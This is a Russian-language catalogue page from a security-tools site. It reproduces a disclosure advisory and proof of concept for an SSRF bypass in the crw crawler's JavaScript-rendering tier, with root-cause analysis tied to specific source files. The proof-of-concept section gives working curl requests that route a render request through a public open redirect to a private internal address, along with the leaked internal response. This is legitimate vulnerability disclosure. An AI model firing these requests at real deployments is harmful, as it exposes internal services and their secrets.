Skip to content
KitploitKITPLOIT
ИнструментыБлог
Log in
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
crw-PoC — PoC — SSRF через обход фильтра безопасности URL на уровне JS-рендеринга в crw (GHSA-5jp3-339h-vxqw, CVE-2026-87007, CVSS 7.5). | Kitploit
Инструменты/GitHubGitHub/squeeze440/crw-poc
Анализ уязвимостейЭксплуатацияВеб-безопасностьТестирование на Проникновение
GitHubsqueeze440/crw-poc

crw-PoC

PoC — SSRF через обход фильтра безопасности URL на уровне JS-рендеринга в crw (GHSA-5jp3-339h-vxqw, CVE-2026-87007, CVSS 7.5).

Репозиторий
1119 дней назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

crw: рекомендации по безопасности

Статус CVE: запрошен, ожидает присвоения. Данная уязвимость опубликована как GHSA-5jp3-339h-vxqw. После присвоения CVE этот репозиторий будет переименован в CVE-YYYY-NNNNN-crw-PoC, а данный баннер заменён ссылкой на CVE.

ИсследовательDostxodjayev Abdullox (@squeeze440)
РекомендацияGHSA-5jp3-339h-vxqw
CVSS 3.17.5 (High)
СлабостьCWE-918

Краткое описание

В crw-server список разрешённых/запрещённых адресов для защиты от SSRF (crw_core::url_safety) применяется только один раз — к переданному вызывающей стороной url — до того, как запрос направляется в рендерер; после этого уровни JS-рендеринга на основе CDP (LightPanda — JS-рендерер по умолчанию — и Chrome) управляют целевой страницей через Page.navigate и выполняют все последующие перенаправления, переходы, инициированные JS, и внутристраничные XHR/fetch полностью внутри собственного сетевого стека браузера, без каких-либо дальнейших обращений к url_safety, что позволяет аутентифицированному (или, при развёртывании по умолчанию без ключей, неаутентифицированному) вызывающему, установившему renderJs:true, перенаправить краулер в адресное пространство RFC1918/loopback/link-local через единственное внешнее открытое перенаправление и прочитать ответ внутреннего сервиса в теле ответа API.

Продукт

fastCRW / crw — crw-server (REST API, также доступный идентичным образом через внутрипроцессный слой MCP-инструментов crw-mcp, который вызывает тот же путь кода crw_server::routes::mcp::call_tool).

Протестированная версия

Коммит 9f1e5ea5555bbf29cd41e454902be0cd804a15e4 (v0.28.0, вершина main на момент тестирования), собран и запущен через собственный docker-compose.yml --profile heavy проекта.

Оценка CVSS v3.1

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N — 7.5 (High)

  • PR:N: поставляемая конфигурация self-host по умолчанию (config.docker.toml) не содержит секции [auth]/api_keys, что соответствует задокументированному значению по умолчанию «открыто по замыслу» в GHSA-qq8c-fch4-cxq7. Развёртывание, которое действительно настраивает API-ключи, понижает это до PR:L (любой отдельный аутентифицированный арендатор всё ещё может перенаправить общий движок в любую внутреннюю сеть, в которой он работает) — уязвимость не устраняется добавлением ключей, а лишь повторно ограничивается.
  • I:N/A:N: PoC демонстрирует чтение ответа внутреннего HTTP-сервиса (конфиденциальность). Никаких действий по записи/изменению состояния против внутренней цели не выполнялось и не заявляется.
  • S:U: раскрытие опосредовано исключительно через собственный канал ответа API уязвимого компонента.

Детали

Первопричина: путь CDP/браузерного рендерера никогда не вызывает crw_core::url_safety после единственной проверки, выполненной на уровне маршрута.

  • crates/crw-server/src/routes/scrape.rs:29-34 (идентично в crawl.rs:47/136, map.rs:73/58, extract.rs:178/95, batch.rs:111/102, v2/*, routes/mcp.rs:25) — единственная проверка SSRF за весь жизненный цикл запроса для JS-рендерируемого запроса: crw_core::url_safety::validate_safe_url_resolved(&parsed_url) выполняется один раз для буквального url вызывающей стороны, до того как рендерер вообще будет вызван.
  • crates/crw-renderer/src/cdp.rs:2621-2631 — future work в fetch_inner отправляет Page.navigate с необработанным url напрямую в конечную точку CDP (общую как для уровня chrome, так и для lightpanda — оба общаются по CDP через эту же функцию). Затем Chrome/LightPanda выполняет собственное разрешение DNS и следует любому серверному перенаправлению, <meta http-equiv="refresh"> или изменению location в JS внутри себя. Нигде в cdp.rs нет вызова url_safety.
  • crates/crw-renderer/src/blocklist.rs:1-124 — единственная логика перехвата Fetch.requestPaused для каждого запроса, которая выполняется во время CDP-рендеринга (подключена в cdp.rs примерно в строках 930-1002). Она фильтрует хосты рекламы/трекеров и заблокированные типы ресурсов (изображения, шрифты и т. д.) исключительно по причинам пропускной способности/шума — она никогда не проверяет назначение запроса на принадлежность к приватным/loopback/link-local диапазонам.
  • crates/crw-crawl/src/single.rs:559-569 — единственное место, где вообще проверяется final_url после навигации. redirect_is_material() лишь решает, прикреплять ли косметическую строку "redirected_to: <url>" к data.warnings (чтобы отметить «вы получили не ту страницу», согласно комментарию, ссылающемуся на northernair.ca) — она никогда не вызывает url_safety::validate_safe_url* и никогда не завершает запрос с ошибкой.
  • Для сравнения: crates/crw-renderer/src/http_only.rs:291 — уровень обычного HTTP (без JS) корректно оборачивает свой reqwest::Client в crw_core::url_safety::safe_redirect_policy(), который повторно проверяет (с разрешением DNS) каждый шаг перенаправления. Именно этой защиты не хватает уровням CDP. Динамически подтверждено: тот же PoC-запрос с renderJs:false корректно отклоняется ("error following redirect", см. скриншот базовой линии).

Доказательство концепции

Динамически подтверждено на собственном стеке docker-compose.yml --profile heavy проекта (crw + lightpanda + chrome, собранном из протестированного коммита).

  1. Развёрнут заменитель «внутреннего сервиса» в той же сети Docker bridge, что и crw/chrome/lightpanda (docker network: source_default), по приватному адресу 172.19.0.6 — обычный контейнер nginx, отдающий страницу с реалистичным внутренним содержимым (заголовок «Internal Ops Console», значение в форме токена сессии).
  2. Базовая линия — подтверждение, что фильтр работает нормально:
    curl -s -X POST http://127.0.0.1:3000/v1/scrape -H "Content-Type: application/json" \
      -d '{"url":"http://172.19.0.6/","renderJs":false}'
    → {"success":false,"error":"Invalid request: Access to 172.19.0.6 is not allowed", ...}
    
    curl -s -X POST http://127.0.0.1:3000/v1/scrape -H "Content-Type: application/json" \
      -d '{"url":"https://httpbin.org/redirect-to?url=http://172.19.0.6/&status_code=302","renderJs":false}'
    → {"success":false,"error":"HTTP request failed: error following redirect ...", ...}
    
    (скриншот: evidence/ssrf_baseline_blocked.png)
  3. Обход — то же перенаправление, запрошен уровень JS-рендеринга:
    curl -s -X POST http://127.0.0.1:3000/v1/scrape -H "Content-Type: application/json" \
      -d '{"url":"https://httpbin.org/redirect-to?url=http://172.19.0.6/&status_code=302","renderJs":true,"renderer":"chrome","formats":["markdown"]}'
    
    Результат: HTTP 200, "success":true, "data":{"markdown":"# Internal Ops Console\n\n# internal-ops.crw-lab.local\n\nNode role: primary\n\nBuild: 2026.08.02-rc3\n\nSession token: 8f3d1c9a7e2b4460b9e5d6a1c0f7e3d2", ..., "warnings":["redirected_to: http://172.19.0.6/"], "renderDecision":{"kind":"userPinned","renderer":"chrome"}} — содержимое внутреннего сервера возвращается вызывающей стороне; собственное предупреждение redirected_to инструмента показывает, что он знает, что последовал запросу к заблокированному адресу, и всё равно возвращает содержимое. (скриншот: evidence/ssrf_chrome_tier_bypass.png)
  4. Подтверждено, что обход также срабатывает на цепочке по умолчанию без явного закрепления рендерера (только "renderJs":true — обычный способ, которым вызывающая сторона запрашивает JS-рендеринг): лестница выбрала lightpanda ("renderDecision":{"kind":"autoDefault","chosen":"lightpanda"}, "renderedWith":"lightpanda") и вернула то же внутреннее содержимое, доказывая, что оба уровня CDP (не только chrome) имеют этот пробел.
Скачать инструмент